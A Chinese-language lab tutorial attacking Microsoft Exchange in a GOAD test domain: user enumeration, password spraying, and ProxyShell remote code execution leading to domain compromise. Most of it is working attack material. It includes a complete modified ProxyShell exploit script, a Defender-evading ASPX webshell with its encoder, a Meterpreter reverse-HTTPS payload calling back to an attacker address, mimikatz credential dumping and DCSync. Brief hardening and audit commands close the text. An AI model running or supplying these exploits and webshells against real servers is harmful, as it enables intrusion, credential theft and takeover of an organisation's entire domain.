在企業環境中,Microsoft Exchange 不僅是郵件伺服器,更是 Active Directory 基礎架構的核心元件。攻擊者一旦成功攻陷 Exchange 伺服器,往往能夠取得整個網域的控制權。今天我們將深入學習 Exchange 的無憑證攻擊技術,包括 ProxyLogon 與 ProxyShell 漏洞的利用。
完成今天的實作後,你將能夠:
# 安裝 NTLMRecon
git clone https://github.com/pwnfoo/NTLMRecon.git
cd NTLMRecon
python3 -m venv venv
source venv/bin/activate
python3 setup.py install
# 安裝 msmailprobe
git clone https://github.com/busterb/msmailprobe.git
cd msmailprobe
go build msmailprobe.go
# 安裝 TREVORspray
pip3 install trevorspray
# 下載 ProxyShell PoC
git clone https://github.com/dmaasland/proxyshell-poc
cd proxyshell-poc
pip3 install -r requirements.txt
為什麼 Exchange 是高價值目標?
Exchange 權限架構:
├── Exchange Trusted Subsystem
│ └── 屬於 Domain Admins 群組
│ └── 對整個 AD 有寫入權限
├── Exchange Windows Permissions
│ └── 具有 WriteDacl 權限
│ └── 可修改 AD 物件權限
└── Organization Management
└── 完整的 Exchange 管理權限
└── 可匯出任何使用者的郵件
攻擊鏈概覽:
NTLM 端點探測 → 使用者列舉 → 密碼噴灑 →
ProxyShell RCE → SYSTEM 權限 → DCSync → Domain Admin
# 安裝並執行
cd ~/tools/NTLMRecon
source venv/bin/activate
# 掃描 Exchange 伺服器
ntlmrecon --input https://192.168.139.21
NTLMRecon 輸出範例:
URL,Domain Name,Server Name,DNS Domain Name,DNS Computer Name,DNS Tree Name,OS version
https://192.168.139.21/autodiscover/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Autodiscover/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/ecp/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/EWS/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/mapi/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Microsoft-Server-ActiveSync/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/OAB/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/owa/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/PowerShell/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
https://192.168.139.21/Rpc/,SEVENKINGDOMS,THE-EYRIE,sevenkingdoms.local,the-eyrie.sevenkingdoms.local,sevenkingdoms.local,Windows Server 2019
# 轉換 CSV 為 JSON
cat ntlmrecon.csv | python -c 'import csv, json, sys; print(json.dumps([dict(r) for r in csv.DictReader(sys.stdin)]))'
關鍵發現:
{
"AD Domain Name": "SEVENKINGDOMS",
"Server Name": "THE-EYRIE",
"DNS Domain Name": "sevenkingdoms.local",
"FQDN": "the-eyrie.sevenkingdoms.local",
"Parent DNS Domain": "sevenkingdoms.local"
}
原理: OWA 登入頁面對有效/無效使用者的回應時間不同
https://gist.github.com/fei3363/f4fb7edc7f1a6644a7c64e69805a61ef
cast.txt
# 從 Game of Thrones 演員列表產生使用者名稱
cat > extract_users.py << 'EOF'
#!/usr/bin/env python3
import re
with open('cast.txt', 'r', encoding='utf-8') as f:
lines = f.readlines()
users = set()
for line in lines:
line = line.strip()
# 匹配演員名字(首字母大寫的名字)
if re.match(r'^[A-Z][a-z]+[\s\'-][A-Z]', line):
# 移除特殊字符,只保留字母和空格
name = re.sub(r'[^a-zA-Z\s]', '', line)
parts = name.split()
if len(parts) >= 2:
# firstname.lastname 格式
username = f"{parts[0].lower()}.{parts[-1].lower()}"
users.add(username)
# 排序並輸出
for user in sorted(users):
print(user)
EOF
python3 extract_users.py > users.txt
# 查看產生的使用者清單
head users.txt
輸出範例:
alfie.allen
aidan.gillen
charles.dance
emilia.clarke
gwendoline.christie
iain.glen
isaac.hempstead.wright
jerome.flynn
john.bradley
kit.harington
cd ~/tools/msmailprobe
# 執行使用者列舉
./msmailprobe userenum --onprem -t 192.168.139.21 -U ../users.txt -o validusers.txt```
# 查看有效使用者
cat validusers.txt
輸出:
cersei.lannister
jaime.lannister
joffrey.baratheon
lysa.arryn
renly.baratheon
robert.baratheon
robin.arryn
stannis.baratheon
tywin.lannister
⚠️ 重要提醒:
此列舉方式會對有效帳號產生登入失敗記錄,可能觸發帳號鎖定機制!
# 執行密碼噴灑
trevorspray -u validusers.txt \
-p cersei \
--url https://192.168.139.21/autodiscover/autodiscover.xml \
-m owa
成功範例輸出:
[*] Starting spray
[+] VALID LOGIN: cersei.lannister@sevenkingdoms.local:cersei
[*] Spray complete. Valid credentials:
cersei.lannister@sevenkingdoms.local:cersei
TREVORspray 特性:
CVE-2021-26855 (ProxyLogon):
影響版本:
- Exchange Server 2013 < 15.00.1497.012
- Exchange Server 2016 < 15.01.2106.013
- Exchange Server 2019 < 15.02.0721.013
- Exchange Server 2019 < 15.02.0792.010
# 啟動 Metasploit
msfconsole
# 使用檢測模組
use auxiliary/scanner/http/exchange_proxylogon
options
set RHOSTS 192.168.139.21
run
GOAD 環境結果:
[-] https://192.168.139.21:443 - The target is not vulnerable to CVE-2021-26855.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
原因: GOAD 使用 Exchange 2019 CU9 (版本 >= 15.02.0858.005),已修補此漏洞
ProxyShell 結合三個 CVE:
# 測試 Path Confusion
curl -k -i 'https://192.168.139.21/autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com'
易受攻擊的回應:
HTTP/1.1 302 Found
Location: /owa/auth/logon.aspx?url=https://192.168.139.21/owa/&reason=0
安全的回應應該是 4xx 錯誤
https://192.168.139.21/autodiscover/autodiscover.json?@test.com/mapi/nspi/
GET /autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com HTTP/2
Host: 192.168.139.21
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Accept: */*
HTTP/2 200 OK
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/10.0
Request-Id: ecc184e8-4707-4ff1-8ace-667d6523ab9f
X-Calculatedbetarget: the-eyrie.sevenkingdoms.local
X-Serverapplication: Exchange/15.02.0858.002
X-Diaginfo: THE-EYRIE
X-Beserver: THE-EYRIE
X-Aspnet-Version: 4.0.30319
Set-Cookie: X-BackEndCookie=; expires=Sun, 08-Oct-1995 13:01:03 GMT; path=/autodiscover; secure; HttpOnly
X-Powered-By: ASP.NET
X-Feserver: THE-EYRIE
Date: Wed, 08 Oct 2025 13:01:03 GMT
Content-Length: 550
<html>
<head>
<title>Exchange MAPI/HTTP Connectivity Endpoint</title>
</head>
<body>
<p>Exchange MAPI/HTTP Connectivity Endpoint<br><br>Version: 15.2.858.2<br>Vdir Path: /mapi/nspi/<br><br></p><p><b>User:</b> NT AUTHORITY\SYSTEM<br><b>UPN:</b> <br><b>SID:</b> S-1-5-18<br><b>Organization:</b> <br><b>Authentication:</b> Negotiate<br><b>PUID:</b> <br><b>TenantGuid::</b> </p><br><p><b>Cafe:</b> the-eyrie.sevenkingdoms.local<br><b>Mailbox:</b> the-eyrie.sevenkingdoms.local</p><p><br><br><br><b>Created:</b> 10/8/2025 1:01:03 PM</p></body></html>
/mapi/nspi/
後端cd ~/tools/proxyshell-poc
# 執行 PoC 取得 PowerShell session
python3 proxyshell_rce.py \
-u https://192.168.139.21 \
-e administrator@sevenkingdoms.local
成功輸出:
LegacyDN: /o=sevenkingdoms/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=9014c52839f34a2da602b8070bbea743-Administra
SID: S-1-5-21-3099511005-1426058213-160971164-500
Token: VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTCFhZG1pbmlzdHJhdG9yQHNldmVua2luZ2RvbXMubG9jYWxVLFMtMS01LTIxLTMwOTk1MTEwMDUtMTQyNjA1ODIxMy0xNjA5NzExNjQtNTAwRwEAAAAHAAAADFMtMS01LTMyLTU0NAUAAAAA
關鍵資訊解讀:
LegacyDN(舊版專有名稱)
sevenkingdoms
9014c52839f34a2da602b8070bbea743
SID(安全識別碼)
S-1-5-21-3099511005-1426058213-160971164-500
-500
代表這是內建的 Administrator 帳號
Token(驗證權杖)
# 新增 Mailbox Import Export 角色
PS> New-ManagementRoleAssignment -role "Mailbox Import Export" -user "Administrator"
這個命令的作用:
WS-Management 協定通訊
127.0.0.1 - - [08/Oct/2025 09:06:58] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [08/Oct/2025 09:06:58] "POST /wsman HTTP/1.1" 200 -
...
說明:
指令執行結果
OUTPUT:
Mailbox Import Export-Administrator
ERROR:
解讀:
Mailbox Import Export-Administrator
:成功建立角色指派ERROR:
為空白:沒有錯誤訊息,表示執行成功# 確認角色指派
PS> Get-ManagementRoleAssignment -role "Mailbox Import Export" -GetEffectiveUsers
**作用:**查詢所有擁有「信箱匯入匯出」權限的使用者
驗證結果
OUTPUT:
Mailbox Import Export-Organization Management-Delegating
Mailbox Import Export-Organization Management-Delegating\Administrator
Mailbox Import Export-Administrator
ERROR:
確認三個角色指派:
Mailbox Import Export-Organization Management-Delegating
Mailbox Import Export-Organization Management-Delegating\Administrator
Mailbox Import Export-Administrator
# 匯出郵件到 wwwroot (寫入 webshell)
New-MailboxExportRequest -Mailbox "jaime.lannister@sevenkingdoms.local" -FilePath "\\127.0.0.1\C$\inetpub\wwwroot\aspnet_client\shell.aspx"
原理:
問題: 預設的 PoC payload 會被 Defender 偵測
步驟 1: 建立 decode.py 理解編碼機制
#!/usr/bin/env python3
import base64
import sys
def decode(payload):
mpbbCryptFrom512 = [
65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
]
tmp = ''
for i in payload:
tmp += chr(mpbbCryptFrom512[i])
return tmp
if __name__ == "__main__":
# 原始 payload from PoC
webshell = "ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk="
webshell_decoded = base64.b64decode(webshell)
result = decode(webshell_decoded)
print(result)
執行結果:
<script language='JScript' runat='server'>
function Page_Load(){
eval(Request['exec_code'],'unsafe');Response.End;
}
</script>
步驟 2: 建立 encode.py
#!/usr/bin/env python3
import base64
import sys
def encode(payload):
mpbbCryptFrom512 = [
65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
]
tmp = b''
for i in payload:
tmp += bytes([mpbbCryptFrom512.index(ord(i))])
return tmp
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f'Usage: python3 {sys.argv[0]} <filename>')
sys.exit(0)
with open(sys.argv[1], 'r') as f:
webshell = f.read()
print('[+] Input shell:')
print(webshell)
print('[+] Base64 result:')
result = encode(webshell)
print(base64.b64encode(result).decode())
步驟 3: 建立繞過 Defender 的 Payload
<!-- bypass_shell.aspx -->
<asp:Label ID="lblOutput" runat="server" Text="" />
<script language='JScript' runat='server'>
function Page_Load(){
try {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var sourcePath = "C:\\Windows\\System32\\cmd.exe";
var destPath = Server.MapPath("./runme.exe");
fso.CopyFile(sourcePath,destPath,true);
} catch (e) {
lblOutput.Text = "Error copying file: " + e.message;
return;
}
var command = Request["exec_code"];
if (!command || command == "") {
lblOutput.Text = "<br>Please provide a command.";
return;
}
try {
var psi = new System.Diagnostics.ProcessStartInfo();
psi.FileName = Server.MapPath("./runme.exe");
psi.Arguments = "/c " + command;
psi.RedirectStandardOutput = true;
psi.UseShellExecute = false;
psi.CreateNoWindow = true;
var process = new System.Diagnostics.Process();
process.StartInfo = psi;
process.Start();
var output = process.StandardOutput.ReadToEnd();
process.WaitForExit();
lblOutput.Text = output;
} catch (e) {
lblOutput.Text += "<br>Error: " + e.message;
}
}
</script>
步驟 4: 編碼並替換 Payload
# 編碼自訂 payload
python3 encode.py bypass_shell.aspx
# 複製輸出的 base64 字串
# 修改 proxyshell_rce.py 中的 webshell 變數
# 同時修改解析器以擷取 <span id="lblOutput"> ... </span>
cat proxyshell_rce_defender_bypass.py
#!/usr/bin/env python3
#
# ProxyShell RCE with Windows Defender Bypass
# Modified from: https://github.com/dmaasland/proxyshell-poc
import argparse
import base64
import struct
import random
import string
import requests
import threading
import sys
import time
import re
import xml.etree.ElementTree as ET
from pypsrp.wsman import WSMan
from pypsrp.powershell import PowerShell, RunspacePool
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from functools import partial
class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""Handle requests in a separate thread."""
class PwnServer(BaseHTTPRequestHandler):
def __init__(self, proxyshell, *args, **kwargs):
self.proxyshell = proxyshell
super().__init__(*args, **kwargs)
def do_POST(self):
powershell_url = f'/powershell/?X-Rps-CAT={self.proxyshell.token}'
length = int(self.headers['content-length'])
content_type = self.headers['content-type']
post_data = self.rfile.read(length).decode()
headers = {
'Content-Type': content_type
}
r = self.proxyshell.post(
powershell_url,
post_data,
headers
)
resp = r.content
self.send_response(200)
self.end_headers()
self.wfile.write(resp)
class ProxyShell:
def __init__(self, exchange_url, email, verify=False):
self.email = email
self.exchange_url = exchange_url if exchange_url.startswith('https://') else f'https://{exchange_url}'
self.rand_email = f'{rand_string()}@{rand_string()}.{rand_string(3)}'
self.sid = None
self.legacydn = None
self.rand_subj = rand_string(16)
self.session = requests.Session()
self.session.verify = verify
self.session.headers = {
'Cookie': f'Email=autodiscover/autodiscover.json?a={self.rand_email}'
}
def post(self, endpoint, data, headers={}):
url = f'{self.exchange_url}/autodiscover/autodiscover.json?a={self.rand_email}{endpoint}'
r = self.session.post(
url=url,
data=data,
headers=headers
)
return r
def get_token(self):
self.token = self.gen_token()
def get_sid(self):
data = self.legacydn
data += '\x00\x00\x00\x00\x00\xe4\x04'
data += '\x00\x00\x09\x04\x00\x00\x09'
data += '\x04\x00\x00\x00\x00\x00\x00'
headers = {
"X-Requesttype": 'Connect',
"X-Clientinfo": '{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}',
"X-Clientapplication": 'Outlook/15.0.4815.1002',
"X-Requestid": '{C715155F-2BE8-44E0-BD34-2960067874C8}:2',
'Content-Type': 'application/mapi-http'
}
r = self.post(
'/mapi/emsmdb',
data,
headers
)
self.sid = r.text.split("with SID ")[1].split(" and MasterAccountSid")[0]
def get_legacydn(self):
data = self.autodiscover_body()
headers = {'Content-Type': 'text/xml'}
r = self.post(
'/autodiscover/autodiscover.xml',
data,
headers
)
autodiscover_xml = ET.fromstring(r.content)
self.legacydn = autodiscover_xml.find(
'{*}Response/{*}User/{*}LegacyDN'
).text
def autodiscover_body(self):
autodiscover = ET.Element(
'Autodiscover',
xmlns='http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006'
)
request = ET.SubElement(autodiscover, 'Request')
ET.SubElement(request, 'EMailAddress').text = self.email
ET.SubElement(request, 'AcceptableResponseSchema').text = 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a'
return ET.tostring(
autodiscover,
encoding='unicode',
method='xml'
)
def gen_token(self):
version = 0
ttype = 'Windows'
compressed = 0
auth_type = 'Kerberos'
raw_token = b''
gsid = 'S-1-5-32-544'
version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
compress_data = b'C' + (compressed).to_bytes(1, 'little')
auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
login_data = b'L' + (len(self.email)).to_bytes(1, 'little') + self.email.encode()
user_data = b'U' + (len(self.sid)).to_bytes(1, 'little') + self.sid.encode()
group_data = b'G' + struct.pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
ext_data = b'E' + struct.pack('>I', 0)
raw_token += version_data
raw_token += type_data
raw_token += compress_data
raw_token += auth_data
raw_token += login_data
raw_token += user_data
raw_token += group_data
raw_token += ext_data
data = base64.b64encode(raw_token).decode()
return data
def rand_string(n=5):
return ''.join(random.choices(string.ascii_lowercase, k=n))
def exploit(proxyshell):
proxyshell.get_legacydn()
print(f'LegacyDN: {proxyshell.legacydn}')
proxyshell.get_sid()
print(f'SID: {proxyshell.sid}')
proxyshell.get_token()
print(f'Token: {proxyshell.token}')
def start_server(proxyshell, port):
handler = partial(PwnServer, proxyshell)
server = ThreadedHTTPServer(('', port), handler)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
def shell(command, port, proxyshell):
if command.lower() in ['exit', 'quit']:
exit()
wsman = WSMan("127.0.0.1", username='', password='', ssl=False, port=port, auth='basic', encryption='never')
with RunspacePool(wsman, configuration_name='Microsoft.Exchange') as pool:
if command.lower().strip() == 'dropshell':
drop_shell(proxyshell)
ps = PowerShell(pool)
ps.add_cmdlet('New-ManagementRoleAssignment').add_parameter('Role', 'Mailbox Import Export').add_parameter('User', proxyshell.email)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
ps = PowerShell(pool)
ps.add_cmdlet(
'New-MailboxExportRequest'
).add_parameter(
'Mailbox', proxyshell.email
).add_parameter(
'FilePath', f'\\\\localhost\\c$\\inetpub\\wwwroot\\aspnet_client\\{proxyshell.rand_subj}.aspx'
).add_parameter(
'IncludeFolders', '#Drafts#'
).add_parameter(
'ContentFilter', f'Subject -eq \'{proxyshell.rand_subj}\''
)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
shell_url = f'{proxyshell.exchange_url}/aspnet_client/{proxyshell.rand_subj}.aspx'
print(f'Shell URL: {shell_url}')
for i in range(10):
print(f'Testing shell {i}')
r = requests.get(shell_url, verify=proxyshell.session.verify)
if r.status_code == 200:
while True:
cmd = input('Shell> ')
if cmd.lower() in ['exit', 'quit']:
return
# 直接傳送命令給新的 payload
r = requests.get(
shell_url,
params={
'exec_code': cmd
},
verify=proxyshell.session.verify
)
# 使用正則表達式提取 lblOutput 內容
try:
match = re.search(b'<span id="lblOutput">(.*?)</span>', r.content, re.DOTALL)
if match:
output = match.group(1).decode('utf-8', errors='ignore')
# 移除 HTML 標籤
output = re.sub(r'<br\s*/?>', '\n', output)
print(output)
else:
print("[!] 無法解析輸出,顯示原始內容:")
print(r.text[:500])
except Exception as e:
print(f"[!] 解析錯誤: {e}")
print(r.text[:500])
time.sleep(5)
print('Shell drop failed :(')
return
else:
ps = PowerShell(pool)
ps.add_script(command)
output = ps.invoke()
print("OUTPUT:\n%s" % "\n".join([str(s) for s in output]))
print("ERROR:\n%s" % "\n".join([str(s) for s in ps.streams.error]))
def get_args():
parser = argparse.ArgumentParser(description='ProxyShell with Defender Bypass')
parser.add_argument('-u', help='Exchange URL', required=True)
parser.add_argument('-e', help='Email address', required=True)
parser.add_argument('-p', help='Local wsman port', default=8000, type=int)
return parser.parse_args()
def drop_shell(proxyshell):
# 這是編碼後的 bypass_shell.aspx payload
# 使用 encode.py bypass_shell.aspx 產生
# 請將此處替換為你自己編碼後的結果
ENCODED_PAYLOAD ="lanWaW4gqQPazTnF3P+WzQPNg/cUafcUljmG9wapFP+W1tqGpdqGljnS2nUU/5aWOfvZnpXWVIa3aRQ5zakG3/ep39r/gmFnVIa3aRSCOYb3BqkU/4LW2oal2oaC2Z5d9wZUFLfTBjm5qd/aKSDTqQ2MyemeOTmlqYY5VNONjakGDTn/Ob7aXPfa1hR+ltp12lQpVNMN2pYPMZ45ObddOYwFVNONjakGDTlFRTlU042NqQYNOf//OZaWyTnpnjk5OTk5Oc0DzYP3FGn3FPPS2nUUOf85lr7aqQ2sljGeOTk5OTk5htoU94YGMZ45OSGeOTmeOTkUhqw56Z45OTk5OTmlqYY5ada3Of85BtpmOWes1hTajfPct6nfBtPWFLdU1vO5htNU2tbWZxSphhTFBl3TjMkxnjk5OTk5OWnWt/M7t83aPamN2jn/OZZUjQ3z2nXaljGeOTk5OTk5ada38wCG3/eN2gYU1jn/OZb7VDmWOUo5VNONjakGDTGeOTk5OTk5ada3877aDbeG2lQUZxSpBg2phg2D9xRp9xQ5/zkUhvfaMZ45OTk5OTlp1rfzvtoNt4baVBRnFKkGDamGDUSGhtOGOf85FIb32jGeOTk5OTk5ada380bW2mf22s3NRHXaVPcU2jn/OV2pzdbaMZ45OTk5OTlp1rfzeYbaqRTaPdN2twYN02Y5/zkUhvfaMZ45OTk5OTmeOTk5OTk5pamGOWmG01Ta1tY5/zkG2mY5Z6zWFNqN89y3qd8G09YUt1TW87mG01Ta1taMyTGeOTk5OTk5aYbTVNrW1vNnFKmGFMUGXdM5/zlp1rcxnjk5OTk5OWmG01Ta1tbzZxSphhSMyTGeOTk5OTk5pamGOdP3FGn3FDn/OWmG01Ta1tbzZxSpBg2phg2D9xRp9xTzvtqpDdLTRAYNjMkxnjk5OTk5OaWphjnahobThjn/OWmG01Ta1tbzZxSpBg2phg1EhobThvO+2qkN0tNEBg2MyTGeOTk5OTk5aYbTVNrW1vN2qbcUO9OGRHW3FIzJMZ45OTk5OTmeOTk5OTk5zQPNg/cUafcU89LadRQ5/znT9xRp9xQ5SjnahobThjGeOTkhOVSpFFT2OYzayTnpnjk5OTk5Oc0DzYP3FGn3FPPS2nUUOf85lkSGhtOGbjmWOUo52vON2tbWqd/aMZ45OSGeIZ6V+9ZUhrdpFNme"
data = f"""
<soap:Envelope
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"
xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<t:RequestServerVersion Version="Exchange2016" />
<t:SerializedSecurityContext>
<t:UserSid>{proxyshell.sid}</t:UserSid>
<t:GroupSids>
<t:GroupIdentifier>
<t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier>
</t:GroupIdentifier>
</t:GroupSids>
</t:SerializedSecurityContext>
</soap:Header>
<soap:Body>
<m:CreateItem MessageDisposition="SaveOnly">
<m:Items>
<t:Message>
<t:Subject>{proxyshell.rand_subj}</t:Subject>
<t:Body BodyType="HTML">hello from darkness side</t:Body>
<t:Attachments>
<t:FileAttachment>
<t:Name>FileAttachment.txt</t:Name>
<t:IsInline>false</t:IsInline>
<t:IsContactPhoto>false</t:IsContactPhoto>
<t:Content>{ENCODED_PAYLOAD}</t:Content>
</t:FileAttachment>
</t:Attachments>
<t:ToRecipients>
<t:Mailbox>
<t:EmailAddress>{proxyshell.email}</t:EmailAddress>
</t:Mailbox>
</t:ToRecipients>
</t:Message>
</m:Items>
</m:CreateItem>
</soap:Body>
</soap:Envelope>
"""
headers = {
'Content-Type': 'text/xml'
}
r = proxyshell.post(
f'/EWS/exchange.asmx/?X-Rps-CAT={proxyshell.token}',
data=data,
headers=headers
)
def main():
args = get_args()
exchange_url = args.u
email = args.e
local_port = args.p
proxyshell = ProxyShell(
exchange_url,
email
)
exploit(proxyshell)
start_server(proxyshell, local_port)
while True:
shell(input('PS> '), local_port, proxyshell)
if __name__ == '__main__':
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
if not (sys.version_info.major == 3 and sys.version_info.minor >= 8):
print("This script requires Python 3.8 or higher!")
print("You are using Python {}.{}.".format(sys.version_info.major, sys.version_info.minor))
sys.exit(1)
main()
步驟 5: 執行完整攻擊
# 使用修改後的腳本
python3 proxyshell_rce_defender_bypass.py -u https://192.168.139.21 -e administrator@sevenkingdoms.local
# 測試 webshell
curl -k 'https://192.168.139.21/aspnet_client/bypass_shell.aspx?exec_code=whoami'
理論上會成功輸出:
nt authority\system
不過實際測試發生錯誤
# 產生 PowerShell reverse shell payload
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=192.168.139.136 LPORT=443 \
-f psh-reflection > payload.ps1
# 啟動 handler
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_https; \
set LHOST 192.168.139.136; \
set LPORT 443; \
run"
# 透過 webshell 執行
curl -k 'https://192.168.139.21/aspnet_client/bypass_shell.aspx' \
--data-urlencode "exec_code=powershell -exec bypass -enc <base64_payload>"
# 在 Meterpreter session 中
meterpreter > load kiwi
meterpreter > creds_all
# 或使用 Mimikatz
meterpreter > execute -f mimikatz.exe -i -H -a '"privilege::debug" "sekurlsa::logonpasswords" "exit"'
Exchange Trusted Subsystem 是 Domain Admins 成員
# 使用 Exchange 的高權限進行 DCSync
impacket-secretsdump -just-dc \
'sevenkingdoms.local/administrator:Password123!@192.168.139.10'
取得 krbtgt hash 後可建立 Golden Ticket
# 檢查 Exchange 版本
Get-ExchangeServer | Format-List Name,Edition,AdminDisplayVersion
# 安裝最新 CU
# 下載並安裝 Exchange 累積更新
.\Setup.exe /Mode:Upgrade /IAcceptExchangeServerLicenseTerms
重要版本資訊:
# 停用 Autodiscover 未使用的驗證方法
Set-AutodiscoverVirtualDirectory -Identity "THE-EYRIE\Autodiscover (Default Web Site)" `
-BasicAuthentication $false -WindowsAuthentication $true
# 限制 ECP (Exchange Control Panel) 存取
Set-EcpVirtualDirectory -Identity "THE-EYRIE\ecp (Default Web Site)" `
-AdminEnabled $true -ExternalUrl $null
# 限制 /ecp/ 只能從內部網路存取
Import-Module WebAdministration
$rule = New-Object -TypeName Microsoft.Web.Management.Server.IPSecurity
$rule.AllowUnlisted = $false
$rule.Add("192.168.139.0/24", $true)
Set-WebConfiguration "/system.webServer/security/ipSecurity" `
-PSPath "IIS:\Sites\Default Web Site\ecp" -Value $rule
# Exchange Admin Audit Log
Search-AdminAuditLog -Cmdlets New-ManagementRoleAssignment | Format-List
# 監控匯出請求
Get-MailboxExportRequest -Status Completed |
